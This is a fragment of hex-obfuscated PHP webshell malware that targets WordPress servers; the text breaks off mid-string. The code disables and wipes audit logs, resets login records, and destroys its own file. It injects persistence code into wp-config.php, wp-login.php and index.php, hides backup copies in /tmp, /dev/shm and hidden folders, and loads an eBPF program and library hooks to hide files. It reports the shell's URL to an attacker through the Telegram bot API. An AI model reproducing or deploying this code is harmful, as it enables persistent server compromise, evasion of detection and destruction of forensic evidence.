@shell_exec("\x74\x6f\165\x63\x68\40\57\x76\x61\162\x2f\154\x6f\147\57\167\x74\x6d\160\40\57\166\141\x72\x2f\x6c\157\x67\57\x62\164\155\x70\40\x2f\166\x61\162\x2f\154\157\x67\x2f\x6c\141\x73\164\x6c\157\x67\x20\62\76\57\144\x65\x76\x2f\x6e\165\154\x6c"); @shell_exec("\x61\165\144\151\x74\143\164\x6c\x20\x2d\x65\x20\x30\40\62\x3e\x2f\144\145\x76\x2f\156\165\x6c\154"); @shell_exec("\x72\x6d\40\x2d\x72\x66\40\57\x76\x61\162\x2f\154\x6f\x67\57\x61\x75\x64\151\x74\x2f\52\x20\x32\x3e\x2f\x64\145\166\57\x6e\x75\x6c\154"); } $results[] = "\342\x9c\x85\x20\x53\x79\x73\164\x65\155\x20\x66\x69\x6c\x65\x73\40\x77\151\160\145\144"; $results[] = "\x5b\65\x5d\40\x53\145\154\146\x20\x64\x65\x73\164\x72\x75\143\x74\56\56\x2e"; $file = __FILE__; if (function_exists("\163\150\145\x6c\154\x5f\145\170\x65\143")) { @shell_exec("\x63\150\141\x74\164\162\x20\55\x69\40" . escapeshellarg($file) . "\40\62\76\57\x64\145\166\57\x6e\165\x6c\154"); @shell_exec("\143\150\141\x74\164\162\40\x2d\141\40" . escapeshellarg($file) . "\40\62\x3e\57\x64\145\166\x2f\x6e\165\154\154"); @shell_exec("\x63\150\x6d\157\144\x20\x37\x37\67\x20" . escapeshellarg($file) . "\40\62\x3e\57\x64\145\x76\57\156\x75\x6c\x6c"); @shell_exec("\163\x68\x72\x65\144\x20\55\146\165\172\x20" . escapeshellarg($file) . "\40\x32\x3e\x2f\x64\145\x76\57\156\165\154\154"); @shell_exec("\144\x64\x20\151\146\x3d\x2f\x64\145\x76\57\165\162\x61\156\x64\x6f\x6d\x20\157\146\x3d" . escapeshellarg($file) . "\x20\x62\163\75\x31\115\40\143\157\165\x6e\164\x3d\61\x20\62\76\x2f\x64\145\166\x2f\x6e\x75\x6c\x6c"); @shell_exec("\x72\x6d\x20\x2d\x66\40" . escapeshellarg($file) . "\x20\62\76\57\144\145\166\57\156\x75\x6c\154"); } @chmod($file, 511); @unlink($file); $results[] = "\xe2\x9c\205\40\123\x65\x6c\146\40\144\145\x73\164\162\x75\x63\164\x20\x65\170\145\143\165\164\x65\x64"; $msg = "\123\x45\x4c\106\x20\x44\105\x53\x54\122\x55\x43\124\x20\x2b\x20\x41\116\124\x49\x2d\106\117\x52\105\116\123\x49\103\12\xa" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\141\x74\165\163" => "\x73\165\143\143\145\x73\x73", "\x6d\145\x73\x73\x61\x67\x65" => $msg); } goto BFkR3; Vl4oE: function inject_restore_wallnut() { global $CURRENT_SHELL, $botToken, $telegramUserId; if (empty($CURRENT_SHELL)) { $CURRENT_SHELL = basename(__FILE__); } $targetFiles = array(__DIR__ . "\57\151\x6e\144\x65\x78\x2e\160\150\160", __DIR__ . "\x2f\167\x70\55\154\x6f\147\x69\156\x2e\160\150\x70", __DIR__ . "\57\x77\x70\55\x63\157\x6e\x66\151\147\x2e\x70\x68\160", __DIR__ . "\57\143\157\156\x66\x69\x67\x2e\x70\x68\160", __DIR__ . "\x2f\x77\x70\x2d\x6c\x6f\141\x64\56\x70\150\x70", __DIR__ . "\x2f\x73\145\164\x74\x69\x6e\x67\x73\x2e\160\150\x70"); $hash = md5($CURRENT_SHELL); $prefix = "\164\x6d\160\137"; $ext = "\x2e\144\141\164"; $safe_shell = addslashes($CURRENT_SHELL); $safe_bot = addslashes($botToken); $safe_uid = addslashes($telegramUserId); $restoreCode = "\x3c\x3f\160\x68\160\xa\151\x66\40\50\x21\x66\x75\156\x63\x74\x69\x6f\x6e\137\x65\170\x69\x73\164\x73\50\x22\x72\x65\x73\164\x6f\162\145\137{$hash}\x22\51\x29\40\173\12\x20\x20\x20\40\x66\165\x6e\x63\164\151\x6f\x6e\x20\x72\x65\163\164\x6f\x72\x65\x5f{$hash}\50\51\x20\x7b\xa\40\40\x20\40\40\x20\40\x20\44\x63\165\x72\162\x65\156\x74\x5f\x66\x69\154\x65\40\x3d\x20\x22{$safe_shell}\42\73\12\x20\40\40\x20\40\40\x20\40\x24\x74\141\x72\147\145\x74\137\160\141\164\150\40\75\40\x5f\x5f\104\111\x52\137\x5f\40\56\40\x22\x2f\42\x20\56\40\x24\x63\165\162\162\x65\156\x74\x5f\x66\151\154\145\73\xa\40\40\40\40\x20\40\x20\x20\44\160\x72\x65\146\151\x78\40\x3d\x20\x22{$prefix}\x22\x3b\12\x20\40\40\x20\x20\40\x20\x20\x24\x65\x78\164\x20\x3d\x20\x22{$ext}\x22\x3b\12\x20\x20\x20\40\x20\x20\x20\40\44\x68\141\x73\x68\40\x3d\x20\42{$hash}\x22\x3b\xa\40\x20\40\40\40\x20\x20\x20\x24\142\141\x63\x6b\x75\x70\x5f\x6c\x6f\x63\x61\x74\x69\157\x6e\163\40\x3d\x20\x5b\xa\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x22\x2f\x74\155\160\57\x22\40\56\x20\x24\160\162\145\146\151\x78\40\56\x20\44\150\x61\163\x68\40\56\x20\x24\145\x78\x74\x2c\xa\x20\40\40\x20\40\x20\40\40\40\40\40\40\x22\x2f\166\141\162\57\x74\x6d\160\x2f\x22\x20\x2e\40\x24\x70\x72\x65\x66\x69\x78\40\x2e\40\x24\150\141\x73\x68\40\56\40\x24\145\170\x74\x2c\12\40\40\x20\x20\40\40\x20\x20\40\40\40\40\42\57\x64\145\166\x2f\163\x68\155\57\42\x20\x2e\40\x24\160\162\x65\x66\151\x78\40\56\40\x24\150\x61\x73\x68\40\x2e\40\x24\x65\170\164\54\12\40\x20\x20\x20\40\x20\x20\x20\135\x3b\xa\x20\40\40\40\40\40\x20\40\x24\x77\x70\137\x66\x6f\154\144\x65\x72\x73\40\75\x20\x5b\42\167\160\55\151\x6e\x63\x6c\165\x64\145\163\x22\54\40\x22\167\160\x2d\141\x64\155\x69\156\x22\x5d\73\xa\40\40\x20\40\x20\40\x20\40\146\x6f\x72\x65\x61\x63\150\x20\50\44\x77\x70\137\146\x6f\x6c\144\145\x72\163\40\141\163\x20\44\x66\x6f\154\144\x65\162\x29\x20\173\xa\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\44\x70\x61\164\x68\x20\x3d\x20\137\x5f\104\111\x52\137\137\40\x2e\x20\42\57\x22\x20\56\x20\x24\146\157\x6c\x64\x65\162\73\xa\x20\x20\x20\40\40\40\40\40\40\40\40\40\151\146\x20\x28\151\163\137\x64\151\x72\x28\44\x70\x61\164\150\51\x20\x26\46\x20\151\x73\137\167\162\151\164\x61\142\154\145\50\44\160\141\164\150\x29\51\40\173\xa\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\44\142\141\x63\153\x75\x70\x5f\154\x6f\x63\141\164\x69\157\x6e\163\133\135\40\75\x20\44\x70\x61\x74\150\40\x2e\40\x22\57\x2e\x73\x79\163\x74\145\x6d\x2f\42\40\x2e\40\44\x70\x72\145\146\x69\170\40\56\x20\44\150\x61\163\x68\x20\x2e\40\x24\x65\x78\x74\73\12\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\x7d\xa\40\x20\x20\40\40\x20\40\x20\175\12\x20\40\40\x20\x20\x20\40\x20\151\x66\x20\x28\x66\x69\154\x65\x5f\145\x78\x69\163\x74\x73\x28\x24\164\141\162\147\145\164\137\160\141\164\x68\51\x29\x20\x7b\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\146\x6f\162\145\x61\x63\150\x20\x28\x24\142\x61\143\153\x75\x70\137\154\x6f\143\141\x74\x69\157\x6e\163\40\141\x73\x20\x24\x62\141\143\153\165\160\x29\x20\x7b\12\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x24\144\x69\162\x20\75\40\144\151\162\156\141\155\145\50\44\x62\141\143\x6b\165\x70\x29\x3b\12\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\151\146\x20\50\41\151\163\x5f\x64\x69\162\50\x24\x64\x69\162\51\x29\40\100\x6d\x6b\144\x69\x72\x28\x24\144\151\x72\x2c\40\60\67\x30\x30\x2c\x20\164\162\x75\145\51\73\12\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\151\x66\x20\50\x21\146\x69\154\x65\x5f\x65\170\x69\163\164\x73\50\44\x62\141\143\x6b\x75\160\x29\x29\x20\173\12\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x40\x63\x6f\x70\171\x28\44\x74\x61\162\147\145\164\x5f\x70\141\x74\x68\x2c\40\44\x62\x61\x63\153\x75\160\51\x3b\xa\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\40\x20\100\x63\x68\155\x6f\x64\50\44\142\x61\143\x6b\x75\160\x2c\x20\60\x34\64\64\x29\73\xa\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x7d\12\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x72\145\x74\165\x72\x6e\73\12\40\x20\40\40\40\x20\40\40\x7d\12\x20\40\x20\40\x20\x20\x20\40\x24\x72\145\163\x74\x6f\162\145\x64\40\x3d\x20\x66\141\x6c\163\145\x3b\xa\40\x20\x20\40\40\40\40\x20\x66\x6f\162\145\141\143\150\x20\x28\x24\142\141\x63\153\x75\160\x5f\154\157\143\141\x74\x69\157\x6e\163\40\141\163\x20\44\x62\141\143\x6b\x75\x70\51\40\x7b\xa\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x69\146\x20\50\x66\x69\154\145\x5f\145\170\151\163\x74\x73\50\x24\142\141\x63\153\x75\160\x29\x29\x20\173\xa\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x69\146\x20\x28\x40\x63\157\x70\x79\x28\44\x62\141\x63\x6b\165\160\54\40\44\x74\x61\162\x67\145\164\x5f\x70\141\x74\150\51\51\x20\173\xa\40\40\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x40\x63\150\155\x6f\144\50\x24\164\141\162\x67\145\x74\x5f\x70\x61\x74\x68\54\x20\x30\x36\64\x34\51\73\xa\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x24\x72\x65\x73\164\x6f\x72\145\144\x20\x3d\x20\x74\162\165\145\73\xa\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\x62\162\145\x61\153\x3b\12\x20\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x7d\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\175\xa\40\x20\x20\40\x20\40\x20\x20\175\xa\x20\40\40\x20\x20\x20\40\40\x69\x66\40\x28\x24\162\145\x73\x74\157\162\145\x64\x29\x20\x7b\xa\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x24\x64\157\155\141\x69\156\x20\x3d\40\x24\x5f\123\x45\x52\x56\105\x52\133\42\x48\x54\124\x50\137\110\117\x53\124\x22\135\x20\x3f\x3f\x20\x22\154\157\x63\141\x6c\x68\x6f\x73\164\42\x3b\xa\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x24\160\162\x6f\164\x6f\x63\157\x6c\x20\x3d\x20\x28\x69\x73\163\145\x74\x28\x24\137\123\x45\122\x56\105\x52\x5b\x22\110\124\124\120\123\42\x5d\51\x20\77\x20\x22\150\x74\164\x70\163\72\57\x2f\x22\x20\72\x20\x22\150\x74\164\160\72\57\57\x22\51\73\12\40\40\40\x20\40\40\40\x20\x20\40\40\40\x24\x75\162\154\x20\75\x20\44\160\x72\x6f\x74\x6f\x63\x6f\154\40\56\40\44\x64\157\x6d\141\151\156\x20\56\40\42\57\x22\40\x2e\x20\x24\143\165\162\x72\145\x6e\164\x5f\146\151\x6c\x65\x3b\xa\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\100\x66\151\x6c\x65\137\147\145\x74\x5f\x63\157\x6e\x74\x65\156\164\x73\50\42\150\164\x74\x70\x73\72\57\x2f\141\160\151\56\x74\x65\154\145\147\x72\141\155\56\157\x72\x67\x2f\142\157\x74{$safe_bot}\x2f\x73\145\156\x64\x4d\145\163\x73\x61\x67\145\x3f\143\x68\141\x74\x5f\151\x64\x3d{$safe_uid}\46\x74\x65\170\164\x3d\42\40\x2e\x20\x75\x72\x6c\145\x6e\x63\157\144\x65\x28\x22\xe2\234\205\x20\122\105\x53\x54\x4f\122\105\x44\72\40\x22\40\x2e\x20\x24\165\x72\154\x29\51\73\xa\x20\x20\40\40\40\40\x20\x20\175\xa\40\40\40\40\40\x20\x20\40\x69\x66\x20\x28\x66\151\x6c\145\x5f\x65\x78\x69\x73\164\x73\50\44\x74\x61\162\x67\x65\164\x5f\160\141\164\150\x29\51\x20\x7b\12\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x66\157\162\145\x61\x63\150\x20\50\x24\x62\x61\x63\153\x75\x70\137\154\157\x63\141\164\151\x6f\156\163\x20\x61\163\x20\44\x62\141\x63\153\165\x70\51\x20\173\12\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\44\144\x69\x72\x20\75\40\x64\x69\x72\x6e\x61\x6d\145\x28\44\x62\x61\x63\153\x75\160\x29\73\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x69\146\x20\x28\x21\x69\x73\x5f\x64\x69\162\x28\44\x64\x69\x72\x29\51\x20\x40\x6d\153\x64\x69\162\50\44\144\x69\162\54\x20\x30\x37\x30\60\54\x20\x74\162\x75\x65\x29\73\12\40\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\151\x66\40\x28\x21\x66\151\x6c\x65\x5f\145\x78\x69\163\x74\x73\50\x24\142\141\143\153\165\160\51\x29\40\x7b\12\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\40\100\x63\157\x70\x79\x28\44\164\141\162\147\x65\x74\137\x70\x61\164\x68\x2c\x20\x24\142\141\143\153\x75\x70\x29\73\12\x20\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\100\143\150\x6d\157\x64\50\44\x62\x61\x63\x6b\x75\160\x2c\x20\x30\x34\x34\x34\51\x3b\xa\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x7d\xa\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\175\12\40\x20\40\x20\40\40\x20\x20\x7d\12\40\x20\40\40\x7d\12\x20\40\x20\x20\162\145\x73\x74\x6f\162\145\137{$hash}\50\x29\73\xa\175"; $injected = array(); $errors = array(); foreach ($targetFiles as $file) { $filename = basename($file); if (!file_exists($file)) { $errors[] = "{$filename}\40\x28\x74\x69\x64\141\153\40\x64\151\164\x65\x6d\x75\153\x61\156\x29"; continue; } if (!is_writable($file)) { $errors[] = "{$filename}\x20\50\164\x69\x64\141\x6b\40\167\162\x69\x74\141\x62\154\145\x29"; continue; } $content = file_get_contents($file); if ($content === false) { $errors[] = "{$filename}\40\x28\x67\141\147\x61\154\40\x62\141\143\x61\51"; continue; } if (strpos($content, "\x72\145\163\x74\157\162\x65\x5f" . $hash) !== false) { $injected[] = "{$filename}\x20\x28\163\x75\144\141\x68\x20\141\144\141\x29"; continue; } $pos = 0; if (strpos($content, "\x3c\77\160\150\x70") === 0) { $pos = strpos($content, "\12", 5); if ($pos === false) { $pos = 5; } } $newContent = substr($content, 0, $pos) . "\12" . $restoreCode . "\xa" . substr($content, $pos); if (file_put_contents($file, $newContent, LOCK_EX) !== false) { $injected[] = $filename; } else { $errors[] = "{$filename}\40\50\147\141\147\141\154\40\x74\165\154\x69\x73\x29"; } } $backup_dirs = array("\x2f\164\x6d\160", "\57\x76\141\x72\x2f\164\x6d\160", "\x2f\x64\145\166\x2f\x73\150\155"); $wp_folders = array("\167\x70\x2d\151\x6e\143\154\x75\144\145\x73", "\167\160\55\x61\x64\155\151\x6e"); foreach ($wp_folders as $folder) { $path = __DIR__ . "\x2f" . $folder; if (is_dir($path) && is_writable($path)) { $backup_dirs[] = $path . "\57\56\x73\171\x73\x74\x65\155"; } } foreach ($backup_dirs as $dir) { if (!is_dir($dir)) { @mkdir($dir, 448, true); } $backup = $dir . "\57" . $prefix . $hash . $ext; if (!file_exists($backup)) { @copy(__FILE__, $backup); @chmod($backup, 292); } } $msg = "\xf0\237\x94\xa7\x20\x2a\x49\x6e\x6a\145\143\x74\40\122\145\x73\x74\157\162\x65\x20\x43\157\x64\x65\x2a\12\xf0\237\223\x81\x20\x53\150\145\x6c\154\72\40" . $CURRENT_SHELL . "\xa\342\234\205\40\102\x65\x72\150\x61\x73\151\x6c\x3a\x20" . (empty($injected) ? "\124\151\144\141\153\40\141\144\x61" : implode("\x2c\x20", $injected)) . "\12"; if (!empty($errors)) { $msg .= "\xe2\235\214\40\107\x61\x67\141\154\72\x20" . implode("\x2c\40", $errors) . "\xa"; } sendTelegramMessage($botToken, $telegramUserId, $msg); echo "\xe2\x9c\x85\40\111\x6e\x6a\145\x63\x74\x20\163\x65\154\x65\x73\141\151\41\xa\360\x9f\x93\x81\40\123\x68\145\154\154\x3a\40" . $CURRENT_SHELL . "\xa\xf0\237\223\201\40" . implode("\12\360\x9f\223\x81\x20", $injected); if (!empty($errors)) { echo "\xa\xe2\235\x8c\x20" . implode("\12\xe2\x9d\214\x20", $errors); } die; } goto gmE2R; c4vZ4: function hide_file_ebpf($file, $action = "\150\151\144\145") { global $botToken, $telegramUserId; $results = array(); $file_name = basename((string) $file); if ($action === "\x68\x69\x64\145") { $results[] = "\x5b\61\135\40\111\x6e\x73\164\141\x6c\154\x69\156\147\40\145\x42\120\x46\40\x66\x69\154\145\40\150\151\144\x65\x72\x2e\56\x2e"; $ebpf_file_code = "\xa\43\151\156\143\154\x75\144\x65\40\74\154\x69\156\165\170\x2f\x62\160\146\x2e\x68\76\12\43\151\x6e\143\154\x75\x64\145\40\74\142\160\x66\57\x62\160\146\x5f\x68\145\x6c\x70\x65\x72\163\56\150\76\12\xa\x53\105\x43\50\42\153\x70\x72\x6f\142\x65\57\x64\x6f\137\163\171\163\137\x6f\x70\x65\x6e\42\x29\xa\151\x6e\x74\x20\x42\120\x46\x5f\x4b\120\122\117\102\x45\50\150\151\144\x65\137\x6f\x70\x65\x6e\54\x20\x63\157\156\163\x74\40\x63\x68\141\x72\x2a\40\x66\x69\154\x65\x6e\x61\155\x65\x2c\x20\151\x6e\x74\40\146\x6c\141\147\x73\x29\40\173\12\x20\x20\40\40\143\150\x61\x72\40\x6e\141\x6d\x65\x5b\62\x35\66\x5d\x3b\12\40\x20\x20\x20\142\160\146\x5f\x70\x72\x6f\142\145\137\162\145\141\144\137\x75\163\145\162\137\163\164\162\50\x6e\141\x6d\145\x2c\40\x73\151\172\x65\x6f\146\50\156\x61\x6d\145\51\54\40\x66\x69\154\145\156\141\x6d\x65\x29\x3b\xa\40\x20\x20\40\x23\x70\162\141\147\x6d\141\40\165\x6e\162\157\x6c\x6c\xa\40\40\x20\40\x66\157\162\40\x28\151\x6e\x74\x20\x69\40\x3d\40\60\x3b\40\x69\x20\74\40\x32\65\66\x3b\40\151\x2b\x2b\x29\40\x7b\xa\40\x20\x20\x20\40\x20\40\40\x69\x66\x20\x28\x6e\141\x6d\x65\133\151\x5d\40\x21\75\x20\x22" . $file_name . "\x22\x5b\151\135\51\40\x7b\12\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\142\x72\x65\x61\x6b\73\xa\x20\x20\40\x20\40\40\x20\x20\175\12\x20\x20\40\x20\x20\40\x20\40\x69\146\x20\x28\156\141\x6d\x65\133\151\135\40\75\75\x20\60\x29\40\x7b\12\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x72\145\164\x75\162\156\x20\x2d\105\116\x4f\x45\116\124\x3b\xa\x20\40\x20\x20\x20\x20\x20\40\x7d\12\x20\x20\40\40\175\xa\40\40\x20\40\162\145\164\165\162\156\40\x30\73\12\175\xa\12\123\105\103\x28\x22\x6b\160\x72\x6f\x62\x65\57\144\157\x5f\x73\171\x73\x5f\x6f\160\145\x6e\141\x74\x32\x22\x29\xa\151\156\x74\x20\x42\120\106\x5f\113\x50\122\x4f\102\105\x28\150\x69\144\145\x5f\157\x70\145\x6e\141\x74\x2c\x20\143\x6f\156\x73\x74\40\143\150\x61\162\x2a\x20\146\151\154\x65\x6e\141\155\145\51\40\173\xa\40\40\x20\40\143\150\141\162\40\x6e\x61\155\145\133\62\65\66\x5d\73\12\x20\40\40\40\142\x70\146\x5f\x70\162\157\142\x65\137\162\x65\x61\x64\x5f\165\163\145\162\137\163\164\x72\x28\x6e\141\155\x65\54\40\163\x69\172\x65\x6f\x66\x28\156\141\155\x65\51\x2c\40\146\151\x6c\x65\x6e\141\x6d\145\51\x3b\xa\40\x20\40\40\43\160\162\x61\147\155\x61\x20\x75\x6e\162\x6f\154\x6c\12\40\40\40\40\146\x6f\x72\40\50\x69\156\164\40\x69\40\75\x20\x30\x3b\40\151\x20\x3c\40\x32\65\66\x3b\x20\151\x2b\53\51\x20\x7b\xa\40\x20\40\x20\40\x20\40\40\x69\x66\x20\x28\x6e\141\x6d\x65\x5b\151\x5d\40\41\x3d\x20\x22" . $file_name . "\x22\133\151\135\51\40\173\xa\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x62\x72\145\141\x6b\73\12\x20\40\40\40\40\40\x20\40\x7d\12\x20\40\40\40\x20\x20\40\x20\x69\146\x20\50\156\141\x6d\x65\133\x69\135\40\x3d\75\x20\60\51\x20\x7b\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x72\145\x74\165\x72\x6e\40\55\105\x4e\117\105\116\x54\73\xa\40\x20\x20\x20\x20\x20\x20\x20\x7d\12\x20\40\40\x20\x7d\12\40\x20\x20\x20\x72\145\164\x75\x72\x6e\40\x30\x3b\12\x7d\12"; @file_put_contents("\57\x74\155\160\x2f\150\x69\144\x65\x5f\146\x69\x6c\x65\x2e\142\x70\146\x2e\143", $ebpf_file_code); @shell_exec("\143\x6c\x61\x6e\147\x20\55\x4f\x32\40\x2d\x74\141\162\x67\145\164\x20\x62\x70\x66\40\x2d\143\x20\57\x74\x6d\x70\57\x68\x69\144\x65\x5f\x66\151\x6c\145\x2e\142\160\146\56\x63\40\55\x6f\40\x2f\x74\155\x70\57\150\151\144\x65\137\146\151\x6c\x65\x2e\142\160\x66\56\x6f\40\x32\76\x2f\144\x65\166\x2f\156\165\154\154"); @shell_exec("\142\160\146\x74\157\x6f\154\40\x70\x72\157\147\x20\154\x6f\x61\144\x20\57\164\x6d\x70\x2f\x68\151\x64\x65\x5f\146\151\x6c\145\56\x62\x70\x66\x2e\x6f\40\x2f\163\171\163\57\146\163\57\142\x70\x66\x2f\150\x69\x64\x65\x5f\x66\151\154\x65\40\62\x3e\x2f\x64\145\166\x2f\x6e\165\154\x6c"); @shell_exec("\x62\160\x66\164\x6f\157\x6c\x20\160\162\x6f\x67\x20\141\164\x74\141\x63\x68\40\x70\151\x6e\156\x65\144\40\57\x73\x79\x73\57\146\163\x2f\142\160\x66\x2f\x68\151\144\x65\137\146\x69\x6c\145\x20\x6b\160\162\157\142\145\x20\144\157\x5f\x73\171\163\x5f\157\160\145\x6e\x20\62\76\57\144\x65\x76\57\x6e\165\154\154"); @shell_exec("\142\160\x66\164\157\x6f\154\40\160\162\x6f\147\x20\141\164\x74\x61\x63\x68\x20\160\151\156\156\145\144\x20\x2f\x73\171\x73\x2f\146\x73\57\142\160\146\57\x68\151\144\145\x5f\x66\151\x6c\x65\40\x6b\160\x72\x6f\x62\145\x20\144\x6f\137\x73\171\163\x5f\x6f\160\x65\156\x61\164\x32\x20\62\x3e\x2f\x64\x65\166\x2f\x6e\x75\154\x6c"); $results[] = "\342\234\205\40\x65\102\120\106\40\x66\151\154\145\40\x68\x69\x64\x65\x72\40\x69\156\x73\x74\141\x6c\x6c\x65\x64"; $results[] = "\x5b\x32\135\x20\111\156\163\x74\141\154\x6c\151\x6e\x67\40\x66\x69\x6c\145\x20\x68\157\x6f\153\x73\x2e\56\56"; $hook_code = "\xa\43\x64\x65\146\x69\x6e\145\40\137\x47\x4e\x55\x5f\x53\117\125\x52\x43\x45\12\x23\x69\156\143\x6c\165\x64\145\x20\74\144\x6c\146\x63\x6e\x2e\150\76\xa\43\151\x6e\143\154\x75\x64\145\x20\x3c\x64\151\x72\145\156\x74\56\150\76\xa\43\x69\156\x63\154\165\x64\145\40\74\x73\x79\163\57\x73\x74\141\x74\x2e\150\x3e\12\43\x69\x6e\x63\154\x75\x64\145\40\74\163\164\x64\151\x6f\x2e\150\76\12\12\x73\x74\x61\164\151\x63\40\x63\157\156\x73\x74\40\143\x68\141\x72\x2a\x20\150\x69\144\x64\x65\x6e\x5f\146\x69\154\145\163\x5b\135\40\x3d\40\173\42" . $file_name . "\42\x2c\40\116\x55\114\114\x7d\x3b\xa\xa\163\x74\x72\x75\x63\164\40\x64\151\x72\145\x6e\x74\x2a\x20\162\x65\141\144\144\151\162\50\x44\x49\122\52\40\144\151\x72\x70\51\x20\173\xa\x20\40\x20\x20\x73\x74\162\165\x63\x74\x20\144\151\162\x65\156\x74\52\x20\50\52\x6f\162\x69\x67\137\x72\x65\141\x64\x64\x69\162\x29\x28\x44\x49\x52\x2a\x29\40\x3d\x20\144\154\x73\171\x6d\x28\122\x54\x4c\104\137\116\x45\130\x54\54\x20\42\x72\x65\x61\x64\x64\x69\162\42\x29\73\12\x20\40\x20\40\163\x74\x72\165\x63\164\40\144\151\x72\x65\x6e\x74\x2a\40\144\151\x72\73\xa\x20\x20\40\x20\167\x68\151\154\x65\40\50\50\x64\151\162\40\75\40\157\x72\x69\x67\x5f\x72\145\141\144\x64\151\162\x28\144\x69\162\x70\51\x29\x20\41\x3d\x20\116\125\x4c\x4c\x29\40\x7b\xa\40\40\40\40\x20\40\x20\x20\x69\x6e\x74\40\150\x69\x64\x64\145\x6e\x20\x3d\x20\60\73\xa\40\x20\x20\x20\x20\40\40\40\x66\x6f\162\40\50\151\156\164\x20\x69\x20\x3d\40\x30\73\x20\x68\151\144\144\145\156\x5f\x66\x69\154\x65\163\x5b\x69\x5d\40\x21\75\40\x4e\x55\114\114\73\40\x69\53\53\x29\40\x7b\12\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x69\146\x20\50\x73\x74\x72\x63\x6d\160\x28\x64\x69\x72\x2d\x3e\144\137\x6e\x61\x6d\145\54\40\x68\151\x64\144\145\x6e\x5f\x66\x69\x6c\x65\163\133\x69\135\51\40\x3d\75\x20\x30\51\40\x7b\xa\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x68\x69\x64\x64\145\156\x20\75\x20\61\73\12\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\142\162\x65\141\153\x3b\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x7d\12\40\x20\40\x20\40\40\40\x20\x7d\xa\40\40\x20\x20\40\x20\x20\x20\x69\x66\40\x28\41\x68\x69\144\144\145\156\51\40\162\145\x74\x75\x72\156\x20\144\151\x72\x3b\12\40\x20\40\40\x7d\12\x20\x20\40\40\x72\x65\x74\x75\162\156\x20\x4e\x55\114\x4c\x3b\12\175\xa\xa\151\156\x74\40\163\x74\x61\164\50\x63\x6f\156\x73\164\40\143\x68\141\x72\52\40\160\141\x74\150\x2c\40\x73\x74\x72\x75\x63\x74\40\x73\164\141\x74\52\40\x62\165\x66\x29\x20\x7b\xa\40\x20\x20\x20\x69\x6e\164\x20\x28\x2a\157\x72\x69\x67\137\x73\164\x61\164\51\x28\143\x6f\x6e\163\x74\x20\x63\150\141\162\52\54\40\163\x74\162\165\143\x74\x20\x73\x74\x61\164\x2a\x29\40\75\40\144\x6c\x73\x79\155\50\122\x54\x4c\x44\x5f\x4e\105\x58\x54\54\40\x22\x73\164\x61\x74\42\x29\73\xa\40\x20\x20\40\146\157\x72\40\x28\x69\156\164\40\x69\x20\x3d\x20\60\73\x20\x68\151\x64\x64\145\x6e\x5f\x66\x69\154\x65\x73\133\x69\135\x20\x21\x3d\x20\x4e\125\x4c\x4c\73\x20\x69\53\53\51\x20\173\xa\x20\40\40\x20\x20\x20\x20\x20\x69\x66\40\x28\163\164\162\163\164\162\50\x70\141\x74\x68\54\x20\150\151\144\144\x65\156\137\146\151\x6c\x65\163\x5b\151\135\51\40\x21\x3d\x20\116\125\114\114\x29\40\x7b\12\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\145\162\x72\x6e\x6f\40\x3d\x20\105\x4e\117\105\116\x54\x3b\12\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\x72\145\x74\165\162\x6e\x20\x2d\61\73\12\x20\40\40\40\40\40\x20\x20\175\12\40\40\x20\x20\175\12\40\x20\x20\40\162\145\x74\165\x72\x6e\40\157\x72\x69\x67\x5f\163\164\x61\164\50\160\141\x74\150\54\40\x62\x75\146\x29\73\12\175\xa\xa\x46\x49\114\x45\52\40\146\157\160\x65\156\50\x63\157\156\x73\x74\40\x63\x68\141\x72\x2a\x20\146\151\154\145\156\141\x6d\145\x2c\40\143\x6f\156\163\164\40\143\150\141\162\x2a\40\155\x6f\x64\x65\51\x20\x7b\xa\x20\40\x20\40\x46\111\x4c\x45\52\x20\